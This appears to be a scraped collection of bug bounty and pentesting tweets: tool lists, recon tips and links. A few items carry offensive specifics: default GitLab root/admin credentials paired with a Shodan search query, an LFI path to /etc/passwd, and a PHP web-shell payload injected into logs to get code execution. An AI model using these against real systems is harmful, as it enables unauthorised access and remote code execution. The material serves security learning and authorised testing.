amrinder

Masters in Computers, Security Researcher, OSCP, Hackerone, hackthebox, CTF lover

[Joseph Thacker @rez0__]

Here's a full thread of mini-write ups and #bugbountytips to celebrate being "verified" even if it's just pay-to-win 😝

[Md Ismail Šojal 🕷️ @0x0SojalSec]

If you found a GitLab instance, try to login as root/admin with those credentials

Username: root & pass: 5iveL!fe
Username: admin & Pass: 5iveL!fe

You can find it with shodan :

org:"Target" http.title:"GitLab"

by : @s3c_krd
#bugbountytip #BugBounty #infosec

[Md Ismail Šojal 🕷️ @0x0SojalSec]

LFI - RCE

#LFI
`..\..\..\..\..\..\..\..\etc/passwd`

#Exploitation
1. Log injection -> <?php system($_GET['cmd']); ?>

#Code injection
2. LFI ..\logs\log.txt
This include(..\logs\log.txt) -> Execute the PHP code -> Code injection.

RCE🤏

[Daniel Kelley @danielmakelley]

30 cybersecurity search engines for researchers:

1. Dehashed—View leaked credentials.
2. SecurityTrails—Extensive DNS data.
3. DorkSearch—Really fast Google dorking.
4. ExploitDB—Archive of various exploits.
5. ZoomEye—Gather information about targets.

[NetworkChuck @NetworkChuck]

you need to know these TOP 10 commands!! (Part 2) ------> https://t.co/WEm5Kx8Wgi

#windows11 #commandprompt #cmd

[Bug Bounty Reports Explained @gregxsunday]

SSRF seems like a simple vulnerability class but in reality, there are many variables. To see how are people really making money with them, I studied 124 bug bounty reports. From this video, you will learn which functionalities are most often vulnerable.
https://t.co/H3J4T9XJCP

[Hacking Articles @hackinarticles]

Search Engine fort Pentesters

#infosec #cybersecurity #cybersecuritytips #pentesting #oscp #redteam #informationsecurity #cissp #CyberSec #networking #networksecurity #CheatSheet #infosecurity #cyberattacks #security #linux #UniX #vulnerabilities #bugbounty #bugbountytips

[Dr. Maik Ro ➡️🦋 @maikroservice]

Day 4⃣8⃣

How to automate Bug Bounty / Hacking Recon for Beginners:

[The Bug Bounty Hunter @tbbhunter]

Error based SQL Injection with WAF bypass manual Exploit 100%

https://t.co/JsFkKIfOWM

[Het Mehta @hetmehtaa]

10 websites to find Remote #jobs with USD salary💰

1. weworkremotely. com
2. hired. com
3. justremote. co
4. remoteleaf. com
5. remote. co
6. dailyremote. com
7. producthunt. com/jobs
8. flexjobs. com
9. remotive. io
10. remoteok. com

[H4x0r.DZ @h4x0r_dz]

FU*K this shit after hours of writing on @Medium the post didn't save
now I need to rewrite it again.

I believe Medium is the worst place to share write-ups, is there any alternative?

[Dr. Maik Ro ➡️🦋 @maikroservice]

Day 4⃣5⃣

Let us define a Bug Bounty methodology together

How to hack - step by step:

[Intigriti @intigriti]

Finding blind XSS is hard, but let's make it a bit easier. Set this in Burp and wait until an admin views your User-Agent in a vulnerable application! 💉

Thanks @abdlah_md for this great tip!

#bugbounty #bugbountytips 👇

[ReconOne @ReconOne_bk]

Improve your Recon game.

Root domains? Use @owaspamass
Subdomains? Use Subfinder
Permutation? Use Gotator
Dns resolution? Use Dnsx
Open ports? Use Naabu
Web servers? Use Httpx
Take screenshots? Use Aquatone
Take Urls? Use Gau
Web crawling? Use Gospider

#bugbounty #recon

[payloadartist @payloadartist]

This is simply one of the best resources on AD #Pentesting that I came across!

It contains nearly all you need to know about attacking Active Directory

Very useful if you are prepping for OSCP

https://t.co/DECHyCe7DN

#infosec #cybersecurity #redteam #Azure #blueteam #Linux

[Corben Leo @hacker_]

Lessons:
- Context is King. THINK!
- To break you must first understand: Know your target's technologies & the services they use.
- Learn to code.

Top:

https://t.co/M1R6j67Tkh

[Inti De Ceukelaire @intidc]

🔥PRIVACY SCOOP: How ANYONE can track your car using only your license plate: a thread! 🧵👇
#osint #privacy (1/X)

[ReconOne @ReconOne_bk]

Subdomain Enumeration is a critical phase in the BugBounty game

Subfinder (from @pdiscoveryio) is one of the best tool for subdomain enumeration

Here are 6 steps to master this great tool 👇🧵

#recontips #bugbountytips #bugbounty #pentesting #AttackSurfaceManagement

[csanuragjain @csanuragjain]

If you are in web3 Security, you definitely should be hunting for bounties/rewards on below platforms

1. @code4rena
2. @auditone_team
3. @sherlockdefi
4. @immunefi
5. @HatsFinance

[Ben Sadeghipour @NahamSec]

This is how a hacker (nojob) was able to find a vulnerability in @port_finance and collect a bounty worth over $600,000 through @immunefi's bug bounty platform!

Thank you @HalbornSecurity for sharing their technical insight on this vulnerability!

https://t.co/tQgtdqySkA